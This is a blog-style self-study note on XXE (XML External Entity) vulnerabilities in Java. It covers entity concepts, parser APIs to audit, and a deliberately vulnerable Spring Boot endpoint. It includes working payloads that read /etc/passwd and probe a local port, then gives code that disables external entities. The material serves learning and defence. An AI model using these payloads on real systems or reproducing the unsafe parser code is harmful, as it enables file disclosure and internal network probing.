← Back to all posts
Code Auditing4 min read

Java Code Auditing: XXE Vulnerabilities

A self-study note on Java code auditing that introduces XXE vulnerabilities, relevant XML and entity concepts, auditing functions, vulnerable code examples, exploitation methods, and remediation.

Read in Chinese→

0x00 Prerequisites

Self-study of Java code auditing: I am mainly studying on my own, which can be somewhat isolated, and I rely on search engines to learn. Nevertheless, I want to document and share the process so that I can summarize and reflect on it in the future. If I ultimately manage to learn something, I will reorganize my thoughts and provide a useful approach for other self-learners. This is why I created the following series of articles on self-studying Java code auditing.

0x01 Introduction to XXE Vulnerabilities

XXE (XML External Entity injection) occurs when an application parses XML input and permits references to external entities. Malicious content can then be constructed to read arbitrary files, probe internal network ports, attack internal websites, launch DoS attacks, execute system commands, and more. XXE in Java supports all protocols in sun.net.www.protocol: http, https, file, ftp, mailto, jar, and netdoc. Generally, the file protocol is used to read files, while the http protocol is used to probe internal networks. When there is no response output, the file and ftp protocols can be combined to read files.

0x02 Basic Concepts Related to XXE

XML&DTD

XML (Extensible Markup Language) is a markup language used to transmit and store data rather than display it.
DTD (Document Type Definition) defines the legal building blocks of an XML document. It uses a series of legal elements to define the document structure.

ENTITY

XML entity types generally include character entities, named entities (or internal entities), external general entities, and external parameter entities. Except for external parameter entities, all other entities begin with the character (\&) and end with the character (;).

0x03 XXE Auditing Functions

XML parsing is generally used in scenarios such as configuration imports and data transmission interfaces. In scenarios involving XML file processing, check whether the XML parser disables external entities to determine whether an XXE vulnerability exists. Some XML parsing interfaces are listed below:

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester

0x04 Vulnerable Code Example

A small example written using the Spring Boot framework.

Choose a commonly used parsing method that returns output to make learning easier.

    @RequestMapping(value = "/DocumentBuilder", method = RequestMethod.POST)
		//直接POST XML数据报过来就行
    public String DocumentBuilderVuln(HttpServletRequest request) {
        try {
            //获取boy
            String body = WebUtils.getRequestBody(request);
						
          	//实例化DocumentBuilderFactory对象
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
          	
          	//树立body里面xml转换流
            StringReader sr = new StringReader(body);
            InputSource is = new InputSource(sr);
          	
          	//解析XML的对象,转化为Document对象
            Document document = db.parse(is); 
          
            // 遍历xml节点name和value
            StringBuilder buf = new StringBuilder();
            NodeList rootNodeList = document.getChildNodes();
            for (int i = 0; i < rootNodeList.getLength(); i++) {
                Node rootNode = rootNodeList.item(i);
                NodeList child = rootNode.getChildNodes();
                for (int j = 0; j < child.getLength(); j++) {
                    Node node = child.item(j);
                    buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
                }
            }
            sr.close();
          	//返回string 有回显
            return buf.toString();
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    

0x05 Vulnerability Exploitation

HTTP Protocol Probing

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
    <!ENTITY xxe SYSTEM "http://127.0.0.1:8888">
]>
<root>&xxe;</root>

Make a rough determination based on the response output and delay, or use DNS-based probing when there is no response output.

image-20200819180052434

Arbitrary File Read via the FILE Protocol

PoC:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Successfully read etc/passwd.

image-20200819180422865

There are also formats such as OOXML, which I will study and write about later.

0x06 Remediation

The key changes are these three statements, which disable the use of entity classes.

Many encapsulated methods address the issue in this way by disabling ENTITY entities.

The following shows how to disable them in DocumentBuilder:

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
@RequestMapping(value = "/Sec", method = RequestMethod.POST)
    public String DocumentBuilderSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            DocumentBuilder db = dbf.newDocumentBuilder();
            StringReader sr = new StringReader(body);
            InputSource is = new InputSource(sr);
            db.parse(is);  
            sr.close();
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "DocumentBuilder security code";
    }